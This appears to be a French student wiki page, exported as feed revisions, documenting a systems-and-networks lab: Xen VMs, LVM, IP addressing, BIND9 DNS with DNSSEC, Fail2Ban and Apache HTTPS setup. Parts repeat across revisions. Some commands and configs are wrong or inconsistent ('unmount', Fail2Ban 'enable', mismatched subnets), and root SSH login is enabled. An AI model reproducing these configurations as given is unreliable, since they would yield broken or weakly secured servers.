Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Test de la LAN ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test vers l'extérieur ==&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12093</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12093"/>
		<updated>2026-02-07T16:25:48Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* VM mandataire */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir fait un ifdown et un ifup nous pouvons envoyer des pings entre nos VM de service et avec la VM mandataire:&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Gyro (192.168.0.3):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping gyro.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Pegase (192.168.0.1):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping pegase.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
